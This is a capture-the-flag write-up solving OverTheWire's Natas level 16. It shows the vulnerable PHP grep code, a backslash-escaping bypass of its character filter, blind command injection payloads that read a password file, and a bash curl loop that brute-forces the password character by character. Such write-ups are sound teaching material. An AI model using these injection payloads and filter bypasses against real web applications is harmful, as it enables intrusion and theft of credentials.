Introduction

Over The Wire posted a series of hacking puzzles recently at http://www.overthewire.org/wargames/natas. Most of the challenges are "normal", but the 16th (and last as of this writing) is quite interesting. This is my solution.

The Scenario

The page presents us with this code:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?> 

Note how we can inject into the "grep" line. The function of the page is as if the user is supposed to search for words in the dictionary. Our real goal, however, is to use the vulnerability on this page to get the password to level 17.

Going into the level, we already know (because the other levels have trained us!) that the password we need is found in /etc/natas_webpass/natas17. We just need to get it out!

A Payload that Should Work!

My first guess, which does work in other circumstances is below. This doesn't work on the challenge because the web server is jailed from accessing /proc. For a good time, put OverTheWire's PHP code on your own server sometime and play with this:

$(cat /etc/natas_webpass/natas17 >> /proc/$$/fd/1) 

This command, which is injected into the grep line, will send the contents of the file we want out to the parent processes STDOUT stream. Like I said, this works -- if you're not jailed from accessing /proc. What we need on this challenge is something that gets us the contents of the file another way.

It's "Blind Command Injection"

Assuming that we can't manipulate things so we can see the output of our command, we should take note that we can influence the output of the grep. Perhaps we can use this behavior to brute force the contents of the password file, ala blind sql injection in the previous level. E.g., consider the differences between these:

"bogus"
"$(echo a)bogus" 

The first payload will return the result of 'grep -i "bogus" dictionary.txt'. This gives us one line of output. The second, though, note that the command adds an "a" to "bogus", making it "abogus". This doesn't occur in the dictionary, and so we get no lines of output. We can use this principle to perform binary tests to brute force the contents of the file.

How to do a test?

But how to test? We need a command that can isolate a single character at a time, and generate output conditionally. There are several ways of doing it that I came up with, but this is my favorite, using awk:

$(awk \/^TEST\/\ {print\ $$} < /etc/natas_webpass/natas17)bogus 

This may look crazy at first, but let's take it apart. There's some escaping going on, so here's a pristine presentation of the script:

awk "/^TEST/ { print $$ }" 

This awk script runs "print $$" for every line in its input that matches the regular expression between the slashes. What I'm searching for is "^TEST", in which "^" matches the beginning of the string. I can change TEST to be whatever I need it to be, so that I can isolate individual characters and test their values.

So why all the escaping? We can't submit double-quotes, due to the regular expression used to filter input on the page. One sneaky little thing about their expression is that backslashes are, in fact, permitted. Look at the filter again:

'/[;|&`\'"]/' 

The "\'" in there is needed to block apostrophes, since the expression itself is contained in apostrophes. To block back-slashes, they would need to do "\\". So, we can make sure that the entire awk script is one string by escaping our spaces, etc., above.

What are the TESTs?

Each test needs to isolate a single character in the password file's contents, so we structure them like this:

^a, ^b, ^c, ..., ^0
^.a, ^.b, ^.c, ..., ^.0
^..a, ^..b, ^..c, ..., ^..0
^...a, ^...b, ^...c, ..., ^...0
...  

By running this through a nested loop, we can test all of the characters and determine what they are, case sensitive, with numbers, etc.

A bash "one-liner"

Here is my automated solution. I tend to build these iteratively as one-liners in bash. There's some level of complexity where I finally move to building a dedicated script, but this one stayed small enough to manage in one line.

Here it is expanded to a shell script. It can be optimized substantially (e.g., moving it into a more robust scripting language makes expanding the "."s in the regex easier. But hey, this is enough to work:

#!/bin/bash

echo; echo; for j in "" .  ..  ...  ....  .....  ......  .......
........  .........  ..........  ...........  ............
.............  ..............  ...............  ................
.................  ..................  ...................
....................  .....................  ......................
.......................  ........................
.........................  ..........................
...........................  ............................
.............................  ..............................
...............................; do

    for i in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C
    D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9; do

	# encoded value is:
	#
	#  $(awk \/^$j$i\/\ {print\ $$} < /etc/natas_webpass/natas17)bogus
	#

	curl -s -H "Authorization: Basic PUTPASSWORDFOR16HERE" \
"http://natas16.natas.labs.overthewire.org/index.php?needle=%24%28%61%77%6b%20%5c%2f%5e$j$i%5c%2f%5c%20%7b%70%72%69%6e%74%5c%20%24%24%7d%20%3c%20%2f%65%74%63%2f%6e%61%74%61%73%5f%77%65%62%70%61%73%73%2f%6e%61%74%61%73%31%37%29%62%6f%67%75%73" | \ grep bogus >/dev/null if [ ! "$?" -eq "0" ] ; then echo -n $i break fi done done

This page and its content copyright © 2012, Joshua Stone